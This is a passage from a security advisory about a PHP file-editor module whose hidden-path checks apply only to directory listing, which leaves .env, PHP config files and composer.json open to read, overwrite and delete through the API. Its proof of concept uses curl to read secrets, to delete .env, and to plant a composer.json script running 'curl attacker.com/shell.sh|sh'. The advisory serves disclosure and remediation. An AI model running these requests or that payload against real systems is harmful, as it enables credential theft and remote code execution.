+ "details": "## Summary\n\nThe Fileeditor controller defines a `hiddenItems` array containing security-sensitive paths (`.env`, `composer.json`, `vendor/`, `.git/`) but only enforces this protection in the `listFiles()` method. The `readFile()`, `saveFile()`, `deleteFileOrFolder()`, `renameFile()`, `createFile()`, and `createFolder()` endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only `fileeditor.read` permission can exfiltrate application secrets from `.env`, and a user with `fileeditor.update` permission can overwrite `composer.json` to achieve remote code execution.\n\n## Details\n\nThe `hiddenItems` array is defined at `modules/Fileeditor/Controllers/Fileeditor.php:10-26`:\n\n```php\nprotected $hiddenItems = [\n '.git', '.github', '.idea', '.vscode',\n 'node_modules', 'vendor', 'writable',\n '.env', 'env', 'composer.json', 'composer.lock',\n 'tests', 'spark', 'phpunit.xml.dist', 'preload.php'\n];\n```\n\nThis array is checked **only** in `listFiles()` at lines 45-48 and 64:\n\n```php\n// Line 45-48 - path component check\nforeach ($pathParts as $part) {\n if (in_array($part, $this->hiddenItems)) {\n return $this->failForbidden();\n }\n}\n// Line 64 - directory listing filter\nif (in_array($name, $this->hiddenItems)) continue;\n```\n\nHowever, `readFile()` (line 76) performs **neither** a `hiddenItems` check **nor** an `allowedFileTypes()` check:\n\n```php\npublic function readFile()\n{\n // ... validation ...\n $path = $this->request->getVar('path');\n $fullPath = realpath(ROOTPATH . $path);\n if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {\n return $this->response->setJSON(['error' => '...'])->setStatusCode(400);\n }\n return $this->response->setJSON(['content' => file_get_contents($fullPath)]);\n}\n```\n\nThis means any file within ROOTPATH — regardless of extension (`.php`, `.env`, etc.) — can be read by any user with the `fileeditor.read` permission.\n\nSimilarly, `saveFile()` (line 92) checks `allowedFileTypes()` but not `hiddenItems`. Since `json` is in `$allowedExtensions`, `composer.json` (which is explicitly in `hiddenItems`) can be overwritten:\n\n```php\nprotected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];\n```\n\n`deleteFileOrFolder()` (line 194) checks neither `hiddenItems` nor `allowedFileTypes()`.\n\n**Compounding factor:** CSRF protection is disabled for all fileeditor routes in `modules/Fileeditor/Config/FileeditorConfig.php:7-10`:\n\n```php\npublic $csrfExcept = [\n 'backend/fileeditor',\n 'backend/fileeditor/*',\n];\n```\n\nThis means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.\n\n## PoC\n\nRequires an authenticated backend session with `fileeditor.read` permission granted.\n\n**Step 1: Read .env file to extract secrets**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n 'https://target.com/backend/fileeditor/read?path=/.env'\n```\nExpected response: JSON containing `.env` file contents including database credentials, encryption keys, and other secrets.\n\n**Step 2: Read PHP configuration files**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n 'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'\n```\nExpected response: Full database configuration PHP source with credentials (note: `readFile()` has no `allowedFileTypes` check, so `.php` files are readable).\n\n**Step 3: Overwrite composer.json for RCE (requires `fileeditor.update` permission)**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n -X POST 'https://target.com/backend/fileeditor/save' \\\n -d 'path=/composer.json' \\\n -d 'content={\"scripts\":{\"post-install-cmd\":\"curl attacker.com/shell.sh|sh\"}}'\n```\nThe next `composer install` or `composer update` executes the attacker's script.\n\n**Step 4: Delete .env (requires `fileeditor.delete` permission)**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \\\n -d 'path=/.env'\n```\n\n## Impact\n\n- **Credential disclosure:** Any backend user with `fileeditor.read` permission can read `.env` (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions.\n- **Remote code execution:** A user with `fileeditor.update` permission can overwrite `composer.json` with malicious composer scripts that execute on the next `composer install/update`.\n- **Denial of service:** A user with `fileeditor.delete` permission can delete `.env` or other critical configuration files, causing application failure.\n- **False security boundary:** Administrators who configure `fileeditor.read` as a limited permission for content editors are unknowingly granting access to all application secrets, since the `hiddenItems` protection only affects the UI file tree, not the API.\n\n## Recommended Fix\n\nApply `hiddenItems` validation to all endpoints that accept a `path` parameter. Extract the check into a reusable method and also add `allowedFileTypes` to `readFile()`:\n\n```php\n// Add this method to the Fileeditor controller\nprivate function isHiddenPath(string $path): bool\n{\n $pathParts = explode('/', trim($path, '/'));\n foreach ($pathParts as $part) {\n if (in_array($part, $this->hiddenItems)) {\n return true;\n }\n }\n return false;\n}\n\n// Then add to readFile(), saveFile(), renameFile(), createFile(), \n// createFolder(), and deleteFileOrFolder():\nif ($this->isHiddenPath($path)) {\n return $this->failForbidden();\n}\n\n// Additionally, add allowedFileTypes check to readFile():\nif (!$this->allowedFileTypes($fullPath)) {\n return $this->failForbidden();\n}\n```\n\nAlso re-enable CSRF protection by removing the CSRF exemption in `FileeditorConfig.php` (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.",
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